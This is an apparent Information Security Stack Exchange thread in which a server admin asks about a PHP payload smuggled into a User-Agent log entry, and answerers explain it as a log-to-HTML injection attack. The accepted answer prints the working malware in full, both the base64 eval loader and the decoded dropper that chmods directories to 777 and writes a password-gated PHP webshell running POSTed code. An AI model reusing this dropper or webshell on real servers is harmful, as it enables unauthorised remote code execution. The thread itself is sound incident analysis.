Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I blocked URL strings with PHP tags in the query string.

However, the attack signature in my logs from the actual log looks slightly different than the attack signature of my tests. It looks like they are sending PHP in the user agent string. Can anyone help me figure out what this is doing?

Also, would blocking user agent strings with a PHP tag fix this? - - [12/Feb/2013:04:03:23 -0400] "GET / HTTP/1.0" 200 4186 "" "<?php eval(base64_decode(\"QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KDQphZGRMb2FkZXIoKTsNCiRkYXRhID0gQG9wZW5kaXIoJy4nKTsNCg0Kd2hpbGUgKCRmaWxlID0gQHJlYWRkaXIoJGRhdGEpKQ0Kew0KCSRmaWxlID0gdHJpbSgkZmlsZSk7DQoJaWYgKCEkZmlsZSB8fCBwcmVnX21hdGNoKCcvXlwuKyQvJywgJGZpbGUpIHx8ICFpc19kaXIoJGZpbGUpKSBjb250aW51ZTsNCglhZGRMb2FkZXIoJGZpbGUpOw0KfQ0KDQpAY2xvc2VkaXIoJGRhdGEpOw0KDQpmdW5jdGlvbiBhZGRMb2FkZXIoJGRpciA9ICcnKQ0Kew0KICAgIGlmICgkZGlyKSAkZGlyIC49ICcvJzsNCiAgICBAY2htb2QoJGRpciwgNzc3KTsNCiAgICBAc3lzdGVtKCJjaG1vZCA3NzcgJGRpciIpOw0KICAgIA0KICAgICRmcCA9IGZvcGVuKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiLCAidyIpOyANCiAgICBmd3JpdGUoJGZwLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNnMEtRR2x1YVY5elpYUW9KMkZzYkc5M1gzVnliRjltYjNCbGJpY3NJREVwT3cwS1FHbHVhVjl6WlhRb0oyUmxabUYxYkhSZmMyOWphMlYwWDNScGJXVnZkWFFuTENBMk1DazdEUXBBYVc1cFgzTmxkQ2duYldGNFgyVjRaV04xZEdsdmJsOTBhVzFsSnl3Z05qQXBPdzBLUUhObGRGOTBhVzFsWDJ4cGJXbDBLRFl3S1RzTkNnMEtKR1JoZEdFZ1BTQkFkVzV6WlhKcFlXeHBlbVVvWW1GelpUWTBYMlJsWTI5a1pTaDBjbWx0S0VBa1gxQlBVMVJiSjJSaGRHRW5YU2twS1RzTkNnMEthV1lnS0VBaGFYTmZZWEp5WVhrb0pHUmhkR0VwSUh4OElHMWtOU2drWkdGMFlWc25jR0Z6YzNkdmNtUW5YU2tnSVQwZ0oyUXpaR1kwTXpsak0yVTBZakpqTkRFNU1qQmtPR1V5TnpNek1URXpNak0ySnlrZ1pYaHBkRHNOQ21sbUlDaEFKR1JoZEdGYkoyTnZaR1VuWFNrZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmtZWFJoV3lkamIyUmxKMTBwS1RzTkNtbG1JQ2hBSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFNrZ2NISnBiblFnSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFRzTkNnMEtQejQ9JykpOw0KCWZjbG9zZSgkZnApOw0KDQoJaWYgKGZpbGVfZXhpc3RzKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiKSkNCgl7DQogICAgICAgICRjayA9ICIxODIzNjQ5MzY1ODIwMzU0IjsNCgkgICAgcHJpbnQgIiRjazp7Kn06JGRpcjp7Kn06IjsNCgkJZXhpdDsNCgl9DQp9\")); ?>"
share|improve this question
up vote 26 down vote accepted

As Thomas pointed out, this attack is designed to exploit poor content handling in log utilities. There are many "log to HTML" engines that simply extract the text of the logs and place them blindly into a HTML template. When the user requests the HTML page from the server, the <?php tags are parsed by the PHP engine and the code is executed. Since many servers allow .html files to be handled by PHP, this has a reasonable chance of working.

Let's take a look at the payload. The block of base64 that you see in that attack string decodes to the following PHP script:

@ini_set('allow_url_fopen', 1);

$data = @opendir('.');

while ($file = @readdir($data))
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;


function addLoader($dir = '')
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w"); 
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";

Let's dissect this a bit...

  1. The @ini_set line enables URL handlers in fopen calls, so external resources can be fetched. The @ prefix suppresses any errors that might occur if the call fails.
  2. The call to addLoader() does the main bulk of the work. I'll go into this in a moment.
  3. @opendir('.') obtains a handle to the current directory.
  4. The while loop runs through every sub-directory in the directory, and calls addLoader($file) for each. It uses a regex to skip the . and .. entries. Don't be fooled by the variable name - this does not loop through files.
  5. Finally it calls @closedir($data). Nice of it to clean up!

But what does addLoader do? Essentially it attempts to chmod 777 every directory it can find, then dumps a PHP file called 2e030ba348eb47877b994934d420c475.php into them, with some contents taken from a base64 string. The final block of code seems to be some kind of mechanism to let the attacker identify which paths were successfully written to, perhaps using a magic number for automation. Side note: I can't find any reference to the file name hash online or in any hash database I know of.

Let's dissect that base64:


@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];


This is simple enough. The first few calls try to set up a permissive environment, where external resources can be loaded and scripts can run for up to 60 seconds. It takes a POST parameter called data and deserialises it into an array, and checks that the password matches a hard-coded MD5 hash. I tried looking up this hash in a few databases, but couldn't find a corresponding plaintext. If the password is correct, it then goes on to check for a code parameter, which it then executes. It also has a check_code option, which is presumably for verifying that the code arrived properly after transport encoding and decoding was performed.

So, all in all, this is a pretty bog-standard PHP shell with a delivery payload that tries to ensure maximum coverage in case of any writeable sub-directory.

share|improve this answer
So this type of attack -- where things are POSTed to a website -- relies on it later being viewed in a web browser? - Meaning I have nothing to worry about if they show up in my own logs? – rm-vanda Sep 1 '14 at 21:56

The attacker hopes that you will consult your log files through a Web-based interface which includes the log contents "as is" in some HTML, leading the server to interpret the PHP directive included in the User-Agent by the attacker.

Best thing to do is not to use a vulnerable log-to-html interface which has this particular hole. Blocking & co should be a temporary measure to quickly recover from attacks until the actual bug is fixed, but not having the said bug is much better.

share|improve this answer
Yeah, I realized after looking through more log files that wasn't a successful attack, a different one was (Which was the exploit that matched my attack signature, so its fixed). – Brandon Wamboldt Mar 4 '13 at 14:32
Really? These attacks rely on being viewed in a web browser? And so, if I see this in my own logs as a random POST or GET - then I really have nothing to worry about? I saw one that tried to /cgi-pin/php -d allow_random_malisciou_ini_settings = plz on GET while simultaneously POSTing some maliscious, base64_encoded crap... so nothing to worry about? – rm-vanda Sep 1 '14 at 21:59

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.